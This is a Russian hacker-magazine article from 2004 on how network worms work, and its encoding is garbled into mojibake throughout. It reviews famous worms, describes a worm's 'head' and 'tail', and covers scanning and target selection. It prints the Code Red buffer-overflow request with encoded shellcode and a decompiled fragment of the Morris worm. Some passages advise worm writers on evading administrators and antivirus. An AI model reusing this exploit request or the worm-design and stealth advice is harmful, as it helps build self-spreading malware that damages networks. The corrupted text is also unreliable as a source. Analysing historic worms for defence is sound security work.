äðàãîöåííîå ìàøèííîå âðåìÿ.

Ñ ïðèõîäîì ê âëàñòè êîðïîðàöèé âñå èçìå-
íèëîñü. Èíôîðìàòèêà èç íàóêè ïðåâðàòèëàñü
â ïðîäàæíóþ äåâêó êàïèòàëèçìà, òîðãóþùóþ
ñîáîé è íå èíòåðåñóþùóþñÿ íè÷åì, êðîìå
ïðèáûëè. Ïðîãðàììíîå îáåñïå÷åíèå ðàñêîëî-
ëîñü íà ïðàâèëüíîå è íåïðàâèëüíîå. Ïðà-
âèëüíîå - òî, êîòîðûì ìîæíî òîðãîâàòü. Íå-
ïðàâèëüíîå - íàïèñàííîå íå ðàäè äåíåã, íå ñ

öåëüþ ïîëó÷åíèÿ íàó÷íûõ ãðàíòîâ è äàæå íå
ïîä ýãèäîé àãðåññèâíîé èäåîëîãèè Open
Source, à äëÿ ñîáñòâåííîãî óäîâîëüñòâèÿ è
óäîâëåòâîðåíèÿ ïðîãðàììèñòñêîãî çóäà, êîòî-
ðûé ñæèãàåò âàñ èçíóòðè, ãîíèò âïåðåä, ïîä-
áðàñûâàåò ïî íî÷àì èç ïîñòåëè, ïîäêèäûâàÿ
íîâûå èäåè, êîòîðûå òóò æå íåîáõîäèìî îï-
ðîáîâàòü. Âîò ýòî - íàñòîÿùåå! Ýòî íå ýëåêò-
ðîííàÿ òàáëèöà, íå áàçà äàííûõ, ñîçäàííàÿ
äëÿ ïðîñòûõ êëåðêîâ. Â êàæäîé ñòî÷êå êîäà -
÷àñòè÷êà âàñ ñàìèõ, ïðèäàþùàÿ ñìûñë âñåìó
ïðîèñõîäÿùåìó. Ýòî òî çâåíî, êîòîðîå îòëè-
÷àåò ðåìåñëî îò êîíâåéåðà, íî îíî, ê ñîæàëå-
íèþ, ñåé÷àñ îêàçàëîñü ïðàêòè÷åñêè óòðà÷åíî.
Ýëåêòðîííî-âû÷èñëèòåëüíûå ìàøèíû ïåðåñ-
òàëè âûçûâàòü áëàãîãîâåíèå, ïðåâðàòèâøèñü
â "êîìïû", è ìèñòè÷åñêîå ÷óâñòâî åäèíåíèÿ ñ
íèìè ðàññûïàëîñü, èñ÷åçëî.

ßÂËÅÍÈÅ ×ÅÐÂß
×åðâÿìè íàçûâàþò ðàçíîâèäíîñòü âèðó-

ñîâ, ðàçìíîæàþùóþñÿ áåç ó÷àñòèÿ ÷åëîâå-
êà. Åñëè ôàéëîâûé âèðóñ àêòèâèçèðóåòñÿ
ëèøü ïðè çàïóñêå çàðàæåííîãî ôàéëà, òî ñå-
òåâîé ÷åðâü ïðîíèêàåò â òâîþ ìàøèíó ñà-
ìîñòîÿòåëüíî - äîñòàòî÷íî ëèøü ïðîñòî âîé-
òè â èíòåðíåò. Ïî ñóòè, ÷åðâè ÿâëÿþòñÿ âûñî-
êîàâòîíîìíûìè ðîáîòàìè, áðîøåííûìè â ïó-
÷èíó âñåìèðíîé ñåòè è âûíóæäåííûìè áî-
ðîòüñÿ çà âûæèâàíèå. ×åðâåé ìîæíî ñðàâ-
íèòü ñ êîñìè÷åñêèìè çîíäàìè, êîíñòðóêòîð
êîòîðûõ äîëæåí ïðåäóñìîòðåòü âñå äî ìåëî-
÷åé, âåäü ïîòîì èñïðàâèòü îøèáêó óæå íå
óäàñòñÿ. Êñòàòè, îøèáêè ïðîåêòèðîâàíèÿ

»

Êðèñ Êàñïåðñêè aka ìûùúõ

Ì û æèâåì â íåñïîêîéíîå âðåìÿ. Èíòåðíåò ñîäðîãàåòñÿ ïîä óäàðàìè ÷åðâåé,
àêòèâíîñòü êîòîðûõ ñòðåìèòåëüíî ðàñòåò. Ïÿòü îïóñòîøèòåëüíûõ

ýïèäåìèé çà ïîñëåäíèå òðè ãîäà, ìèëëèîíû çàðàæåííûõ ìàøèí. È âñå èç-çà
îøèáîê ïåðåïîëíåíèÿ!

ÂÑÊÐÛÒÈÅ
×ÅÐÂßÊÀ
ÈÑÑËÅÄÎÂÀÍÈÅ ÐÀÁÎÒÛ ÑÅÒÅÂÛÕ ×ÅÐÂÅÉ

Top10 ÷åðâÿêîâ - îò ÷åðâÿ Ìîððèñà äî ÷åðâåé íàøèõ äíåé

ÕÀÊÅÐÑÏÅÖ   08(45)   2004

44 Âñêðûòèå ÷åðâÿêà
Èññëåäîâàíèå ðàáîòû ñåòåâûõ
÷åðâåé

48 SEH íà ñëóæáå ó
êîíòððåâîëþöèè
Ðóêîâîäñòâî ïî ïåðåçàïèñè SEH-
îáðàáîò÷èêà

52 Îòðàâëÿåì ïðèëîæåíèÿ
Ïåðåïîëíåíèÿ ïðè îáðàáîòêå
äàííûõ

56 Unicode-Buffer
Overflows
Ïðîáëåìû ýêñïëóàòàöèè ôîðìàòà
Unicode è íàïèñàíèå Unicode shell-
êîäîâ

60 Ïëàòôîðìà. Overflow.
Âëàñòü!
Ïåðåïîëíåíèå áóôåðà â ñèñòåìàõ
Windows è *nix

64 Æèâó÷èé êîä
Òåõíèêà íàïèñàíèÿ ïåðåíîñèìîãî
shell-êîäà

68 Çàùèòèñü è çàìåòè!
Çàùèòà îò ýêñïëîèòîâ è
çàêðûòèå óÿçâèìîñòåé
ïîñëå àòàêè
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ÂÑÊÐÛÒÈÅ ×ÅÐÂßÊÀ44 ÐÅÀËÈÇÀÖÈß

ââèèððóóññ êêîîããääàà
îîááííààððóóææååíí ÷÷òòîî ïïîîððààææààëë ììååõõààííèèççììûû ððààññïïððîîññòòððààííååííèèÿÿ ììààøøèèíí

ççààððààççèèëë

Âèðóñ
Ìîððèñà 1988, íîÿáðü UNIX, VAX îòëàäî÷íûé ëþê â sendmail, ïåðåïîëíåíèå

áóôåðà â finger, ñëàáûå ïàðîëè 6.000

Melissa 1999, ??? e-mail ÷åðåç MS
Word ÷åëîâå÷åñêèé ôàêòîð 1.200.000

LoveLetter 2000, ìàé e-mail ÷åðåç VBS ÷åëîâå÷åñêèé ôàêòîð 3.000.000

Klez 2002, èþíü e-mail ÷åðåç áàã â IE óÿçâèìîñòü â IE ñ IFRAME 1.000.000

sadmind/IIS 2001, ìàé Sun Solaris/IIS ïåðåïîëíåíèå áóôåðà â Sun Solaris
AdminSuite/IIS 8.000

Code Red I/II 2001, èþëü ISS ïåðåïîëíåíèå áóôåðà â IIS 1.000.000

Nimda 2001, ñåíòÿáðü ISS ïåðåïîëíåíèå áóôåðà â IIS, ñëàáûå ïàðîëè è äð. 2.200.000

Slapper 2002, èþëü Lunix Apache ïåðåïîëíåíèå áóôåðà â OpenSSL 20.000

Slammer 2003, ÿíâàðü MS SQL ïåðåïîëíåíèå áóôåðà â SQL 300.000

Love San 2003, àâãóñò NT/200/XP/2003 ïåðåïîëíåíèå áóôåðà â DCOM 1.000.000
(???)



Ãîëîâà ó
÷åðâÿ ìî-
æåò áûòü è
íå îäíà,
òîãäà îí
ìîæåò ïî-
ðàæàòü íåñ-
êîëüêî òè-
ïîâ ñåðâå-
ðîâ, íàïðè-
ìåð, MS
SQL, MS IIS
è SendMail.

÷åðâåé îáõîäÿòñÿ íàìíîãî äîðîæå
îøèáîê ïðîåêòèðîâàíèÿ êîñìè÷åñêèõ
ñòàíöèé. Âû òîëüêî ïðåäñòàâüòå, êà-
êàÿ íà worm-ìåéêåðàõ ëåæèò îòâåò-
ñòâåííîñòü! Ïîýòîìó ïèîíåðàì ÷åðâåé
ëó÷øå íå ïèñàòü. Ëó÷øå èì ó÷èòü ìàò.
÷àñòü, àññåìáëåð è TCP/IP-ïðîòîêîëû
è çàáûòü î äåñòðóêöèè! Äåñòðóêòèâ-
íûé êîä - ýòî ïëîõîé êîä. Íà âàíäà-
ëèçì ìíîãî óìà íå íàäî, à âîò óõèò-
ðèòüñÿ ïðîíèêíóòü â ìèëëèîí óäàëåí-
íûõ óçëîâ, ïðè ýòîì íè îäèí èç íèõ íå
óðîíèâ, - ýòî öåëü, äîñòîéíàÿ èñòèííî-
ãî õàêåðà!

ÊÎÍÑÒÐÓÊÒÈÂÍÛÅ
ÎÑÎÁÅÍÍÎÑÒÈ ×ÅÐÂß

Ñ àíàòîìè÷åñêîé òî÷êè çðåíèÿ
÷åðâü ïðåäñòàâëÿåò ñîáîé ìîðôîëî-
ãè÷åñêè íåîäíîðîäíûé ìåõàíèçì, â êî-
òîðîì ìîæíî âûäåëèòü, ïî ìåíüøåé
ìåðå, òðè îñíîâíûõ êîìïîíåíòà: êîì-
ïàêòíóþ ãîëîâó è ïðîòÿæíûé õâîñò ñ
ÿäîâèòûì æàëîì. Ðàçóìååòñÿ, ýòî
òîëüêî ñõåìà, è ÷åðâè ñîâñåì íå îáÿ-
çàíû ïîëíîñòüþ åé ñîîòâåòñòâîâàòü.

Íåîáõîäèìîñòü äðîáëåíèÿ ìîíîëèò-
íîé ñòðóêòóðû ÷åðâÿ íà ãîëîâó è
õâîñò âûçâàíà îãðàíè÷åííûì ðàçìå-
ðîì ïåðåïîëíÿþùèõñÿ áóôåðîâ, êî-
òîðûé â ïîäàâëÿþùåì áîëüøèíñòâå
ñëó÷àåâ íå ïðåâûøàåò ïàðû äåñÿòêîâ

áàéò. Òîëüêî ñàìûì êðîõîòíûì è ïðè-
ìèòèâíûì ÷åðâÿì óäàåòñÿ âòèñíóòüñÿ
â ýòîò îáúåì öåëèêîì, â îñòàëüíûõ æå
ñëó÷àÿõ ñíà÷àëà íà àòàêóåìóþ ìàøè-
íó çàáðàñûâàåòñÿ çàãðóç÷èê, óñòàíàâ-
ëèâàþùèé TCP/IP-ñîåäèíåíèå è ïîä-
òÿãèâàþùèé îñòàâøèéñÿ õâîñò, èíà÷å
íàçûâàåìûé îñíîâíûì òåëîì ÷åðâÿ.

Ãîëîâà ÷åðâÿ îòâå÷àåò çà ïåðåïîë-
íåíèå áóôåðà, çàõâàò óïðàâëåíèÿ
óäàëåííîé ìàøèíîé, óñòàíîâêó
TCP/IP-ñîåäèíåíèÿ è òðàíñïîðòèðîâêó
õâîñòà. Îáðàçíî ãîâîðÿ, ãîëîâà - ýòî
íèíäçÿ, äåñàíòèðóþùèéñÿ â óêðåï-
ëåííûé ðàéîí âðàæåñêîãî ïîäðàçäå-
ëåíèÿ, áåñøóìíî äåëàþùèé îõðàíå
õàðàêèðè, îòïèðàþùèé âîðîòà è çà-
æèãàþùèé ïîñàäî÷íûé ìàÿê, îáåñïå-
÷èâàþùèé ïðèçåìëåíèå îñíîâíîé
ãðóïïû. Êàê ìèíèìóì, ãîëîâà ÷åðâÿ
âêëþ÷àåò â ñåáÿ çàïðîñ, ïîñûëàåìûé
ñåðâåðó, ñðûâàþùèé êðûøó îäíîìó
èç åãî áóôåðîâ è ïåðåäàþùèé óïðàâ-
ëåíèå ëèáî íà shell-êîä, ëèáî íà ñåê-
ðåòíóþ ôóíêöèþ root, êîòîðàÿ îáåñ-
ïå÷èâàåò óäàëåííûé äîñòóï ê ñåðâå-
ðó. Ãîëîâà ÷åðâÿ ÷àùå âñåãî ïèøåòñÿ
íà ãîëîì àññåìáëåðå, à â íàèáîëåå îò-
âåòñòâåííûõ ñëó÷àÿõ - íåïîñðåäñòâåí-
íî â ìàøèííîì êîäå (òðàíñëÿòîðû àñ-
ñåìáëåðà íå ïåðåâàðèâàþò ìíîãèõ
ýôôåêòèâíûõ òðþêîâ).

Ãîëîâà ó ÷åðâÿ ìîæåò áûòü íå îäíà.
Òîãäà îí ìîæåò ïîðàæàòü íåñêîëüêî
òèïîâ ñåðâåðîâ (íàïðèìåð, ñåðâåðà
MS SQL, MS IIS è SendMail), çíà÷èòåëü-
íî ðàñøèðÿÿ àðåàë ñâîåãî îáèòàíèÿ. Ó
÷åðâÿ Ìîððèñà áûëî äâå ãîëîâû - îä-
íà ïîðàæàëà finger, äðóãàÿ - sendmail,
à MWORM'à - öåëûõ ïÿòü, ÷òî ïîçâîëÿ-
ëî åìó ðàñïðîñòðàíÿòñÿ ÷åðåç web-,
ftp-ñåðâåðà è äûðû â äåìîíàõ rpc, bind
è lpd. Love San, Slapper è Slammer èìå-
ëè ïî îäíîé ãîëîâå, ÷òî ñîâñåì íå ïî-
ìåøàëî çàíÿòü èì ïåðâûå ìåñòà â

Top10. Êàê âèäíî, êîëè÷åñòâî ãîëîâ ñà-
ìî ïî ñåáå åùå íè î ÷åì íå ãîâîðèò, è
îäíà óìíàÿ ãîëîâà ëó÷øå òðåõ ãëóïûõ.

Õâîñò ÷åðâÿ ðåøàåò áîëåå îáùèå çà-
äà÷è. Îêàçàâøèñü íà òåððèòîðèè âå-
ðîÿòíîãî ïðîòèâíèêà, ñïåöíàç äîëæåí
ïåðâûì äåëîì îêîïàòüñÿ. Íåêîòîðûå
÷åðâè çàðûâàþòñÿ â èñïîëíÿåìûå
ôàéëû, ïðîïèñûâàÿ ïóòü ê íèì â êëþ-
÷å àâòîìàòè÷åñêîãî çàïóñêà, íåêîòî-
ðûå äîâîëüñòâóþòñÿ îäíîé ëèøü îïå-
ðàòèâíîé ïàìÿòüþ, ïîãèáàÿ ïîñëå âûê-
ëþ÷åíèÿ ïèòàíèÿ èëè ïåðåçàãðóçêè. È
ýòî ïðàâèëüíî! Íàñòîÿùèé ÷åðâü äîë-
æåí âåñòè êî÷åâóþ æèçíü, áëóæäàÿ îò
ìàøèíû ê ìàøèíå, - â ýòîì è åñòü åãî
ïðåäíàçíà÷åíèå. Êàê ãîâîðèòñÿ, ìàâð
ñäåëàë ñâîå äåëî è ìîæåò óõîäèòü, à
÷åðâþ ïðåäñòîèò ñäåëàòü íå òàê óæ è
ìíîãî: íàéòè, ïî ìåíüøåé ìåðå, äâå
æåðòâû, ïðèãîäíûå äëÿ âíåäðåíèÿ, è
çàáðîñèòü â íèõ ñâîþ ãîëîâó (òî÷íåå,
êîïèè ñâîèõ ãîëîâ). Òåïåðü, äàæå åñëè
÷åðâü óìðåò, ÷èñëåííîñòü åãî ïîïóëÿ-

öèè áóäåò ðàñòè â ãåîìåòðè÷åñêîé
ïðîãðåññèè. Ââèäó âûñîêîé àëãîðèòìè-
÷åñêîé ñëîæíîñòè è îòñóòñòâèÿ îãðà-
íè÷åíèé íà ïðåäåëüíî äîïóñòèìûé
ðàçìåð, õâîñò ÷åðâÿ ÷àùå âñåãî ðàçðà-
áàòûâàåòñÿ íà ÿçûêàõ âûñîêîãî óðîâ-
íÿ, íàïðèìåð, íà ÿçûêå Ñè, õîòÿ Ôîðò
èëè Àëãîë ïîäîøëè áû íè÷óòü íå õó-
æå, íî ýòî óæå äåëî âêóñà, î êîòîðîì
íå ñïîðÿò (íî Ñè âñå ðàâíî ëó÷øå).

Ïîäàâëÿþùåå áîëüøèíñòâî ÷åðâåé
íåÿäîâèòî, è âåñü âðåä îò íèõ ñâîäèò-
ñÿ ê ïåðåãðóçêå ñåòåâûõ êàíàëîâ èç-
çà íåêîíòðîëèðóåìîãî ðàçìíîæåíèÿ.
Ëèøü ó íåìíîãèõ íà êîíöå õâîñòà ðàñ-
ïîëîæåíî ÿäîâèòîå æàëî èëè, â áî-
ëåå îáùåì ñëó÷àå, ïîëåçíàÿ íàãðóçêà
(÷èòàé - áîåâàÿ íà÷èíêà). Íàïðèìåð,
÷åðâü ìîæåò óñòàíàâëèâàòü íà àòàêó-
åìîé ìàøèíå òåðìèíàëüíûé shell, ïðå-
äîñòàâëÿþùèé âîçìîæíîñòü óäàëåí-
íîãî àäìèíèñòðèðîâàíèÿ. Äî òåõ ïîð
ïîêà ýïèäåìèÿ òàêîãî ÷åðâÿ íå áóäåò
îñòàíîâëåíà, â ðóêàõ åãî ñîçäàòåëÿ
áóäóò íàõîäèòüñÿ ðû÷àãè óïðàâëåíèÿ
íàøèì ìèðîì è îí â ëþáîé ìîìåíò
ñìîæåò ïðåðâàòü åãî áðåííîå ñóùåñò-
âîâàíèå. Íåò, àòîìíûå ýëåêòðîñòàí-
öèè âçîðâàòü íå óäàñòñÿ, íî âîò ïî-
äîðâàòü ýêîíîìèêó, óíè÷òîæèâ áàíêî-
âñêóþ èíôîðìàöèþ, ñìîæåò äàæå íà-
÷èíàþùèé õàêåð. Çíàþùèå ëþäè óò-
âåðæäàþò, ÷òî òàêàÿ óãðîçà íàâèñàëà
óæå íåîäíîêðàòíî è ëèøü ãðóáûå
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Îøèáêè ïðîåêòèðîâàíèÿ ÷åðâåé
îáõîäÿòñÿ íàìíîãî äîðîæå îøèáîê

ïðîåêòèðîâàíèÿ êîñìè÷åñêèõ ñòàíöèé.

Íàñòîÿùèé ÷åðâü äîëæåí 
âåñòè êî÷åâóþ æèçíü, 

áëóæäàÿ îò ìàøèíû ê ìàøèíå.
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Äàííàÿ
ñòàòüÿ íè â
êîåì ñëó÷àå
íå ïðîïà-
ãàíäèðóåò
ñîçäàíèå
÷åðâåé.
Ïîìíèòå, â
Ðîññèè òà-
êîãî ðîäà
äåÿòåëü-
íîñòü óãî-
ëîâíî íàêà-
çóåìà.

GET /default. ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXÕÕÕÕÕÕÕÕÕÕX
%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u6858
%ucbd3%u7801%u9090%u9090%u8190
%u00c3%u0003%u8b00%u531b%u53ff
%u0078%u0000%u00= a HTTP 1.0
Content- type: text/ xml,
Content- length: 3379

ÃÎËÎÂÀ ×ÅÐÂß CODE
RED, ÏÐÈÕÎÄßÙÀß Â
ÏÅÐÂÎÌ TCP-ÏÀÊÅÒÅ
ÇÀÏÐÎÑÀ rt_init()/* 0x2a26 */

{
FILE *pipe;
char input_buf[64];
int l204, l304;

ngateways = 0;
pipe = popen(XS("/usr/ucb/netstat -r -

n"), XS("r"));
/* &env102,&env 125 */
if (pipe == 0) return 0;
while (fgets(input_buf, sizeof(input_buf),

pipe))
{ /* to 518 */
other_sleep(0);
if (ngateways >= 500) break;
sscanf(input_buf, XS("%s%s"), l204,

l304);/* <env+127>"%s%s" */
/* other stuff, I'll come back to this

later */
}/* 518, back to 76 */
pclose(pipe);
rt_init_plus_544();
return 1;

}/* 540 */

ÊÓÑÎÊ ÕÂÎÑÒÀ ×ÅÐÂß
ÌÎÐÐÈÑÀ



Îêîïàâøèñü
â ñèñòåìå,
÷åðâü ïðèñ-
òóïàåò ê
ïîèñêó íî-
âûõ æåðòâ
è ðàññûëêå
ñâîåé ãîëî-
âû ïî ïîä-
õîäÿùèì
àäðåñàì. 

îøèáêè, äîïóùåííûå ïðè ïðîåêòèðî-
âàíèè ÷åðâåé, íå ïîçâîëèëè åé âî-
ïëîòèòüñÿ â æèçíü. 

Ïîñëåäíèé ïèñê ìîäû - ìîäóëüíûå
÷åðâè, ïîääåðæèâàþùèå âîçìîæ-
íîñòü óäàëåííîãî êîíôèãóðèðîâàíèÿ
è ïîäêëþ÷åíèÿ ïëàãèíîâ ÷åðåç èíòåð-
íåò. Òîëüêî ïðèêèíüòå, íàñêîëüêî óñ-
ëîæíÿåòñÿ áîðüáà â óñëîâèÿõ íåïðå-
ðûâíî èçìåíÿþùåéñÿ ëîãèêè ïîâåäå-
íèÿ ÷åðâÿ. Àäìèíèñòðàòîðû ñòàâÿò
ôèëüòðû, à ÷åðâü èõ óñïåøíî ïðåîäî-
ëåâàåò! Çàïóñêàþò àíòèâèðóñ, à ÷åðâü
ïîäõâàòûâàåò áðîøåííûé åìó ùèò è,
âîñïîëüçîâàâøèñü çàìåøàòåëüñòâîì
ïðîòèâíèêà, ñî âñåé äóðè áüåò åãî ïî
ãîëîâå. Ïðàâäà, è çäåñü ïðîáëåì òîæå
õâàòàåò. Ñèñòåìà ðàñïðîñòðàíåíèÿ
ïëàãèíîâ äîëæíà íå òîëüêî áûòü ïîë-
íîñòüþ äåöåíòðàëèçîâàííîé, íî è
óìåòü ïðè ñëó÷àå ïîñòîÿòü çà ñåáÿ, â
ñëó÷àå åñëè àäìèíèñòðàòîðû ïîäêè-
íóò ïëàãèí-áîìáó, êîòîðàÿ ðàçîðâåò
÷åðâÿ íà êóñêè. Â îáùåì, òóò åñòü åùå
íàä ÷åì ïîäóìàòü è ïîðàáîòàòü!

ÄÎËÃ ÏÅÐÅÄ ÂÈÄÎÌ, ÈËÈ
ÐÎÆÄÅÍÍÛÉ, ×ÒÎÁÛ ÓÌÅÐÅÒÜ

Ñ÷èòàåòñÿ, ÷òî åñòåñòâåííàÿ öåëü
âñåõ æèâûõ îðãàíèçìîâ (è ÷åðâåé â
òîì ÷èñëå) - ýòî íåîãðàíè÷åííàÿ ýêñ-
ïàíñèÿ, èëè, ïîïðîñòó ãîâîðÿ, çàõâàò
âñåõ ñâîáîäíûõ è íåñâîáîäíûõ òåððè-
òîðèé. Íà ñàìîì äåëå, ýòî íåâåðíî.
×òîáû íå ïîäîõíóòü îò ãîëîäà, êàæ-
äûé èíäèâèäóóì äîëæåí íàõîäèòüñÿ â
ãàðìîíèè ñ îêðóæàþùåé ñðåäîé, ïîä-
äåðæèâàÿ áàëàíñ ÷èñëåííîñòè ñâîåé
ïîïóëÿöèè â ðàâíîâåñèè. Íàðóøåíèå
ýòîãî ïðàâèëà îáîðà÷èâàåòñÿ íåèç-
ìåííîé êàòàñòðîôîé.

×åðâü äîëæåí áåðåæíî îòíîñèòüñÿ
ê ðåñóðñàì êèáåðíåòè÷åñêîãî ìèðà -
îïåðàòèâíîé è äèñêîâîé ïàìÿòè, ïðî-
öåññîðíîìó âðåìåíè è ïðîïóñêíîé
ñïîñîáíîñòè ñåòåâûõ êàíàëîâ, ïî-
áðàòñêè ðàçäåëÿÿ èõ ñ îñòàëüíûìè
îáèòàòåëÿìè "ãëóáèíû". Ïðåäîñòàâ-
ëåííûå ñàìè ñåáå, ÷åðâè ðàçìíîæà-
þòñÿ â ãåîìåòðè÷åñêîé ïðîãðåññèè, è
÷èñëåííîñòü èõ ïîïóëÿöèè âçðûâîîá-
ðàçíî ðàñòåò. À âåäü òîëùèíà ìàãèñò-
ðàëüíûõ èíòåðíåò-êàíàëîâ íå áåçãðà-
íè÷íà! Ðàíî èëè ïîçäíî ñåòü ïåðåíà-
ñûùàåòñÿ ÷åðâÿìè è "âñòàåò", íå
òîëüêî ïðåïÿòñòâóÿ èõ äàëüíåéøåìó

ðàçìíîæåíèþ, íî è ïîäíèìàÿ ñ ïîñòå-
ëè ìàòåðÿùèõñÿ àäìèíèñòðàòîðîâ, óñ-
òàíàâëèâàþùèõ ñâåæèå çàïëàòêè è
ïåðåòèðàþùèõ ÷åðâåé â òðóõó. Ïîéìè-
òå æå âû íàêîíåö, ÷òî àäìèíèñòðàòî-
ðû îáúÿâëÿþò âîéíó ëèøü òåì ÷åð-
âÿì, êîòîðûå èì ñèëüíî äîñàæäàþò.
Âåäèòå ñåáå ñêðîìíåå! Áóäüòå òèøå
âîäû, íèæå ðàäàðîâ!

ÒÀÊÒÈÊÀ È ÑÒÐÀÒÅÃÈß 
Îñíîâíûå âðàãè íèíäçÿ - ýòî òåì-

íîòà, íåèçâåñòíîñòü, êîëþ÷àÿ ïðîâî-
ëîêà è âîëêîäàâû, ñíóþùèå ïî îõðà-
íÿåìîé òåððèòîðèè.

Ïîäãîòîâêà ê çàáðîñêå shell-êîäà íà-
÷èíàåòñÿ ñ îïðåäåëåíèÿ IP-àäðåñîâ,
ïðèãîäíûõ äëÿ âòîðæåíèÿ. Åñëè
÷åðâü íàõîäèòñÿ â ñåòè êëàññà Ñ, òðè
ñòàðøèõ áèòà IP-àäðåñà êîòîðîé ðàâ-
íû 110, òî åå ìîæíî è ïðîñêàíèðîâàòü
(ðàñïîòðîøèòå ëþáîé ñêàíåð, åñëè íå
çíàåòå êàê). Ñêàíèðîâàíèå ñåòåé îñ-
òàëüíûõ êëàññîâ çàíèìàåò ñëèøêîì
ìíîãî âðåìåíè è íåìåäëåííî ïðèâëå-
êàåò ê ñåáå âíèìàíèå àäìèíèñòðàòî-
ðîâ, à ýòèì ÷åðâè ïðåäïî÷èòàþò íå
çëîóïîòðåáëÿòü. Âìåñòî ýòîãî îíè âû-
áèðàþò ïàðó-òðîéêó ñëó÷àéíûõ IP-àä-
ðåñîâ, âûäåðæèâàÿ êàæäûé ðàç ñåêó-
íäíóþ ïàóçó, äàþùóþ TCP/IP-ïàêåòè-
êàì âðåìÿ ðàññîñàòüñÿ è ïðåäîòâðà-
ùàþùóþ îáðàçîâàíèå "çàïîðîâ".
×åðâü Slammer, ïîðàæàþùèé SQL-
ñåðâåðà, íå äåëàë òàêîé ïàóçû è ïîý-
òîìó ñäîõ ðàíüøå âðåìåíè, à âîò Love
San æèâ è ïîíûíå. Nimda è íåêîòîðûå
äðóãèå ÷åðâè íå èãðàþò â êîñòè è îï-
ðåäåëÿþò öåëåâûå àäðåñà ýâðèñòè-
÷åñêèì ïóòåì: àíàëèçèðóÿ ñîäåðæè-
ìîå æåñòêîãî äèñêà (ïåðåõâàòûâàÿ
ïðîõîäÿùèé ñêâîçü íèõ òðàôèê), îíè
èùóò url'û, å-mail'û è ïðî÷èå ïîëåç-
íûå ññûëêè, çàíîñÿ èõ â ñïèñîê êàíäè-
äàòîâ íà çàðàæåíèå.

Çàòåì êàíäèäàòû ïðîõîäÿò ïðåäâà-
ðèòåëüíîå òåñòèðîâàíèå. ×åðâü äîë-
æåí óáåäèòüñÿ, ÷òî äàííûé IP-àäðåñ
äåéñòâèòåëüíî ñóùåñòâóåò, óäàëåí-

íûé óçåë íå âèñèò è íà íåì óñòàíîâ-
ëåíà óÿçâèìàÿ âåðñèÿ ñåðâåðà èëè
îïåðàöèîííàÿ ñèñòåìà, èçâåñòíàÿ
÷åðâþ è ñîâìåñòèìàÿ ñ shell-êîäîì îä-
íîé èëè íåñêîëüêèõ åãî ãîëîâ.

Ïåðâûå äâå çàäà÷è ðåøàþòñÿ ïðåäåëü-
íî ïðîñòî: ÷åðâü îòïðàâëÿåò ñåðâåðó ëå-
ãàëüíûé çàïðîñ, íà êîòîðûé òîò îáÿçàí
îòâåòèòü (äëÿ web-ñåðâåðà ýòî çàïðîñ
GET), è, åñëè ñåðâåð ÷òî-òî ïðîìû÷èò â
îòâåò, çíà÷èò æèâ, êóðèëêà! Çàìåòèì, ÷òî
îòïðàâëÿòü ñåðâåðó ýõî-çàïðîñ, áîëåå èç-
âåñòíûé â íàðîäå êàê ping, íåðàçóìíî, òàê
êàê åãî ìîæåò ñîæðàòü íåäðóæåëþáíî
íàñòðîåííûé áðàíäìàóýð.

Ñ îïðåäåëåíèåì âåðñèè ñåðâåðà äå-
ëà îáñòîÿò çíà÷èòåëüíî ñëîæíåå, è
óíèâåðñàëüíûìè ðåøåíèÿìè çäåñü è
íå ïàõíåò. Íåêîòîðûå ïðîòîêîëû ïîä-
äåðæèâàþò ñïåöèàëüíóþ êîìàíäó èëè
âîçâðàùàþò âåðñèþ ñåðâåðà â ñòðîêå
ïðèâåòñòâèÿ, íî ÷àùå âñåãî èíôîðìà-
öèþ ïðèõîäèòñÿ äîáûâàòü ïî êîñâåí-
íûì ïðèçíàêàì. Ðàçëè÷íûå îïåðàöè-
îííûå ñèñòåìû è ñåðâåðà ïî-ðàçíîìó
ðåàãèðóþò íà íåñòàíäàðòíûå ïàêåòû
èëè ïðîÿâëÿþò ñåáÿ ñïåöèôè÷åñêèìè
ïîðòàìè, ÷òî ïîçâîëÿåò îñóùåñòâèòü
ãðóáóþ èäåíòèôèêàöèþ æåðòâû. À
òî÷íîñòü ÷åðâþ íóæíà, êàê çàéöó ïàí-
òàëîíû, à ñîáàêå ïÿòàÿ íîãà, âåäü
ãëàâíîå - îòñåÿòü çàâåäîìî íåïîäõî-
äÿùèõ êàíäèäàòîâ. Åñëè çàáðîñèòü ãî-
ëîâó ÷åðâÿ íà íåïîäõîäÿùèé óêðåïè-
òåëüíûé ðàéîí, íè÷åãî íå ïðîèçîéäåò.
Ãîëîâà, òî÷íåå, êîïèÿ ãîëîâû ïîãèá-
íåò, òîëüêî è âñåãî.

Íà çàâåðøàþùåé ñòàäèè ðàçâåäû-
âàòåëüíîé îïåðàöèè ÷åðâü ïîñûëàåò
óäàëåííîìó óçëó óñëîâíûé çíàê, íàï-
ðèìåð, âûïóñêàåò äâå çåëåíûå ðàêåòû
(îòïðàâëÿåò TCP-ïàêåò ñ êîäîâûì ïîñ-
ëàíèåì âíóòðè). Åñëè óçåë óæå çàõâà-
÷åí äðóãèì ÷åðâåì, îí äîëæåí âûïóñ-
òèòü â îòâåò òðè ôèîëåòîâûõ. Ýòî íàè-
áîëåå óÿçâèìàÿ ÷àñòü îïåðàöèè, âåäü
åñëè ïðîòèâíèê, òî åñòü àäìèíèñòðà-
òîð, ïðîíþõàåò îá ýòîì, âðàæåñêèé
óçåë áåç òðóäà ñìîæåò ïðèêèíóòüñÿ

×åðâü ðàññûëàåò çàïðîñû ïî ðàçëè÷íûì IP-àäðåñàì
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Íàéòè äåñê-
ðèïòîð
TCP\IP-ñîå-
äèíåíèÿ
ìîæíî ïå-
ðåáîðîì
âñåõ ñîêå-
òîâ ÷åðåç
ôóíêöèþ
getpeer-
name.
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Ñòðåìèòåëüíîå ðàçìíîæåíèå ÷åðâåé âûçûâàåò çàñîðåíèå

Ïîäãîòîâêà ê çàáðîñêå shell-êîäà
íà÷èíàåòñÿ ñ îïðåäåëåíèÿ IP-àäðåñîâ,

ïðèãîäíûõ äëÿ âòîðæåíèÿ.



Íåò íè÷åãî
õóæå äëÿ
÷åðâÿ, ÷åì
ïðîïèñàòüñÿ
â
HKLM\Softw
are\Microsof
t\Windows\
CurrentVers
ion\Run.

ñâîèì, ïðåäîòâðàùàÿ âòîðæåíèå. Òà-
êàÿ òåõíèêà àíòèâèðóñíîé çàùèòû íà-
çûâàåòñÿ âàêöèíàöèåé. Äëÿ áîðüáû ñ
